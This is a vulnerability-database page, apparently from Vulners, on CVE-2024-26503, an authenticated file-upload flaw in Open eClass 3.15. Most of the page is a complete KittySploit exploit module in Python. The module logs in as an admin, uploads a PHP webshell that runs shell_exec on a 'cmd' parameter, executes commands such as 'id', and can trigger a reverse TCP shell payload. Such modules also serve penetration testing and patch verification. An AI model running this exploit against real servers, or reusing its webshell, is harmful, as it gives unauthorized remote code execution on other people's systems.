Open eClass 3.15 - Remote Code Execution (CVE-2024-26503)
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| Exploit for Unrestricted Upload of File with Dangerous Type in Openeclass | 15 Mar 202413:01 | – | githubexploit | |
| CVE-2024-26503 | 14 Mar 202423:21 | – | circl | |
| Open eClass Platform Security Vulnerability | 14 Mar 202400:00 | – | cnnvd | |
| CVE-2024-26503 | 14 Mar 202400:00 | – | cve | |
| CVE-2024-26503 | 14 Mar 202400:00 | – | cvelist | |
| Open eClass 3.15 - RCE | 21 Oct 202600:00 | – | exploitdb | |
| Exploit-CVE-2024-26503 | 27 Oct 202613:19 | – | kitploit | |
| Open eClass RCE (CVE-2024-26503) Detection | 26 Oct 202617:17 | – | kittysploit | |
| CVE-2024-26503 | 14 Mar 202422:15 | – | nvd | |
| Open eClass 3.15 Shell Upload | 22 Oct 202600:00 | – | packetstorm |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Open eClass CVE-2024-26503 authenticated certbadge icon upload RCE."""
from __future__ import annotations
import re
from io import BytesIO
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client, Handler):
__info__ = {'name': 'Open eClass 3.15 - Remote Code Execution (CVE-2024-26503)', 'description': 'CVE-2024-26503: authenticated unrestricted file upload in /modules/admin/certbadge.php stores a PHP webshell under /courses/user_progress_data/badge_templates/.', 'author': ['KittySploit Team', 'Georgios Roumeliotis (PoC)'], 'cve': ['CVE-2024-26503'], 'platform': Platform.PHP, 'arch': [Arch.PHP, Arch.CMD], 'category': 'singles', 'payload': {'default': 'payloads/singles/cmd/php/reverse_tcp', 'arch': Arch.PHP, 'platform': Platform.PHP, 'category': 'singles'}, 'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-26503', 'https://www.less-secure.com/2024/03/open-eclass-cve-2024-26503-unrestricted.html', 'https://github.com/RoboGR00t/Exploit-CVE-2024-26503'], 'tags': ['openeclass', 'eclass', 'upload', 'authenticated', 'rce', 'cve-2024-26503'], 'agent': {'risk': 'intrusive', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 5, 'reversible': False, 'approval_required': True, 'produces': ['webshell', 'rce', 'shell'], 'requires': {'tech_hints_any': ['openeclass', 'open eclass']}, 'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}], 'suggested_followups': ['scanner/http/openeclass_rce_cve_2024_26503']}}}
_BADGE_SHELL_DIR = '/courses/user_progress_data/badge_templates'
username = OptString('', 'Open eClass username (admin)', required=True)
password = OptString('', 'Open eClass password', required=True)
shell_name = OptString('', 'Webshell filename (random if empty)', required=False)
cleanup = OptBool(False, 'Remove uploaded webshell after run (disables follow-up execute on this session)', required=False)
def _login_form_path(self) -> str:
return '/main/login_form.php?next=%2Fmain%2Fportfolio.php'
def _login(self) -> None:
login_form = self._login_form_path()
self.http_request('GET', login_form, allow_redirects=True)
response = self.http_request('POST', '/?login_page=1', headers={'Referer': login_form}, data={'next': '/main/portfolio.php', 'uname': str(self.username or ''), 'pass': str(self.password or ''), 'submit': 'Enter'}, allow_redirects=True)
body = (response.text or '').lower() if response else ''
if 'login_form' in body and 'uname' in body and ('pass' in body):
raise RuntimeError('Open eClass login failed')
admin_page = self.http_request('GET', '/modules/admin/certbadge.php', allow_redirects=True)
if not admin_page or admin_page.status_code >= 400:
raise RuntimeError('Cannot access certbadge admin page (admin credentials required?)')
admin_body = (admin_page.text or '').lower()
if 'login_form' in admin_body or 'name="pass"' in admin_body:
raise RuntimeError('Authenticated session lacks certbadge admin access')
def _shell_filename(self) -> str:
custom = str(self.shell_name or '').strip()
if custom:
return custom if custom.endswith('.php') else f'{custom}.php'
return f'{self.random_text(8)}.php'
def _shell_path(self, filename: str) -> str:
return f'{self._BADGE_SHELL_DIR}/{filename}'
def _strip_php_tags(self, payload: str) -> str:
body = payload.strip()
if body.lstrip().startswith('<?'):
body = re.sub('^<\\?(?:php|=)?', '', body.lstrip(), count=1, flags=re.IGNORECASE)
body = re.sub('\\?>\\s*$', '', body)
return body.strip()
def _shell_php(self) -> bytes:
"""Webshell for session execute(); optional embedded payload when ?cmd is absent."""
payload_raw = str(getattr(self, 'payload', '') or '').strip()
if not payload_raw:
return b"<?php echo shell_exec($_GET['cmd']); ?>"
embedded = self._strip_php_tags(payload_raw)
source = f"<?php\nif (isset($_GET['cmd'])) {{\n echo shell_exec($_GET['cmd']);\n exit;\n}}\n{embedded}\n"
return source.encode()
def _upload_shell(self, filename: str) -> str:
upload = self.http_request('POST', '/modules/admin/certbadge.php', files={'icon': (filename, BytesIO(self._shell_php()), 'text/plain'), 'name': (None, ''), 'description': (None, ''), 'submit_badge_icon': (None, '')}, allow_redirects=True)
if not upload or upload.status_code >= 500:
raise RuntimeError('certbadge.php upload failed')
return self._shell_path(filename)
def _trigger_shell(self, shell_path: str, *, cmd: str | None=None, timeout: int | None=None) -> str:
params = {'cmd': cmd} if cmd is not None else None
kwargs = {'params': params} if params else {}
if timeout is not None:
kwargs['timeout'] = timeout
response = self.http_request('GET', shell_path, **kwargs)
return (response.text or '').strip() if response else ''
def _cleanup_shell(self, shell_path: str, filename: str) -> None:
try:
self._trigger_shell(shell_path, cmd=f'rm -f {filename}')
except Exception:
pass
def execute(self, cmd: str) -> str:
if not getattr(self, '_webshell_path', None):
self._login()
name = self._shell_filename()
self._webshell_path = self._upload_shell(name)
self._webshell_name = name
return self._trigger_shell(self._webshell_path, cmd=cmd)
def check(self):
try:
self._login()
except RuntimeError as exc:
return {'vulnerable': False, 'reason': str(exc), 'confidence': 'medium'}
return {'vulnerable': True, 'reason': 'Admin login and certbadge upload endpoint reachable', 'confidence': 'high'}
def check_execute(self) -> bool:
token = self.random_text(10)
output = self.execute(f'echo {token}')
return token in output
def run(self):
cmd = str(self.shell_from_payload() or '').strip()
payload_text = str(getattr(self, 'payload', '') or '').strip()
try:
check = self.check()
except Exception as exc:
print_error(f'Check failed: {exc}')
return False
if not check.get('vulnerable'):
print_error(check.get('reason', 'Target not exploitable'))
self.not_vulnerable()
return False
print_status('CVE-2024-26503 — Open eClass certbadge upload RCE')
print_success(f'Authenticated as {self.username}')
filename = self._shell_filename()
try:
shell_path = self._upload_shell(filename)
self._webshell_path = shell_path
self._webshell_name = filename
except RuntimeError as exc:
print_error(str(exc))
return False
print_success(f'Webshell uploaded: {shell_path}')
if not self.check_execute():
print_error('Webshell execution check failed')
if self.cleanup:
self._cleanup_shell(shell_path, filename)
self.not_vulnerable()
return False
if cmd:
out = self.execute(shell)
if out:
print_info(out[:4000])
elif payload_text:
print_status('Triggering embedded PHP payload (reverse handler may receive a session)...')
try:
self._trigger_shell(shell_path, timeout=5)
except Exception:
pass
else:
out = self.execute('id')
if out:
print_info(out[:4000])
session_meta = {'webshell_path': shell_path, 'webshell_name': filename, 'protocol': 'http'}
ok = self.handler_execute(additional_data=session_meta)
if self.cleanup:
self._cleanup_shell(shell_path, filename)
return ok
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Oct 2026 13:35Current
6Medium risk
Vulners AI Score6
CVSS 3.19.1
EPSS0.02961
SSVC